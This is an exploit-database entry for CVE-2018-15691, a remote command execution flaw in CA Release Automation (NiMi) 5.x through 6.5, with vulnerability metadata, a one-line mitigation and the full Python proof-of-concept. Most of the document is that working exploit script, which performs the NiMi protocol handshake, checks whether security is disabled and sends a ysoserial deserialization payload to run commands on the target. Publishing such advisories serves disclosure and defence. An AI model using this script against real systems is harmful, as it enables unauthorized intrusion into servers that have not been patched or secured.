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CA Release Automation
by:
Jakub Palaczynski, Maciej Grabiec
9.8
CVSS
CRITICAL
Remote Command Execution
94
CWE
Product Name: CA Release Automation
Affected Version From: CA Release Automation (NiMi) 5.X
Affected Version To: CA Release Automation (NiMi) 6.5
Patch Exists: NO
Related CWE: CVE-2018-15691
CPE: a:ca:release_automation:5.0
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Platforms Tested:
2016

CA Release Automation NiMi 6.5 – Remote Command Execution

CA Release Automation (NiMi) Remote Command Execution via Deserialization. Payloads generated using CommonsCollections1 from ysoserial work correctly. Proof of Concept exploits NiMi service if security is turned off.

Mitigation:

Enable security on the NiMi service to prevent remote command execution.
Source

Exploit-DB raw data:

# Exploit Title: CA Release Automation NiMi 6.5 - Remote Command Execution
# Date: 2016-06-23
# Exploit Authors: Jakub Palaczynski, Maciej Grabiec
# Vendor Homepage: http://www.ca.com/
# Software Link: https://docops.ca.com/ca-release-automation/5-5-2/en/installation/deploy-agents/
# Version: CA Release Automation (NiMi) 5.X, 6.3, 6.4, 6.5
# CVE: CVE-2018-15691
# Info: CA Release Automation (NiMi) Remote Command Execution via Deserialization
# Info: Payloads generated using CommonsCollections1 from ysoserial work correctly.
# Info: Proof of Concept exploits NiMi service if security is turned off.

#!/usr/bin/python

import socket
import sys
import struct

if len(sys.argv) < 4:
    sys.stderr.write("[-]Usage: python %s <ip> <port> <payload_file> <target_nodeid - not mandatory>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 10.0.0.1 6600 /tmp/payload.bin\n" % sys.argv[0])
    exit(1)
 
host = sys.argv[1]
port = sys.argv[2]
file = sys.argv[3]

# check if payload does not exceed specified value
payloadObj = open(file,'rb').read()
if len(payloadObj) > 5729:
    print 'Payload must be less than 5730 bytes. Try another one.'
    exit(1)

# open socket to nimi port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting to node.'
sock.connect((host, int(port)))

# say hello to nimi
sock.recv(256)
sock.send('\x00\x00\x00\x0c\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x72\x02\x08\x00') # first required message

# get Node ID
data = sock.recv(256)
name = data[5] + data[6:6+ord(data[5])]
if len(sys.argv) == 5:
    name = struct.pack(">B", len(sys.argv[4])) + sys.argv[4]

# check if security is enabled
sock.send('\x00\x00\x00\x1a\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x7a\x10\x0a\x0c\x0a\x07\x30\x2e\x30\x2e\x30\x2e\x30\x10\x94\x3c\x10\x00') # second required message
check = sock.recv(256)
if check == "":
    print 'Security is enabled. Sorry.'
    exit(1)

# send payload
print 'Sending payload.'
header = '\x0a\x04\x6e\x6f\x64\x65\x10\x01\x1a' + name + '\x2a\xe4\x2c\x0a\xe1\x2c'
stage = header + payloadObj + '\x90' * (5729-len(payloadObj))
payload = struct.pack(">I", len(stage)) + stage

sock.sendall(payload)
sock.close()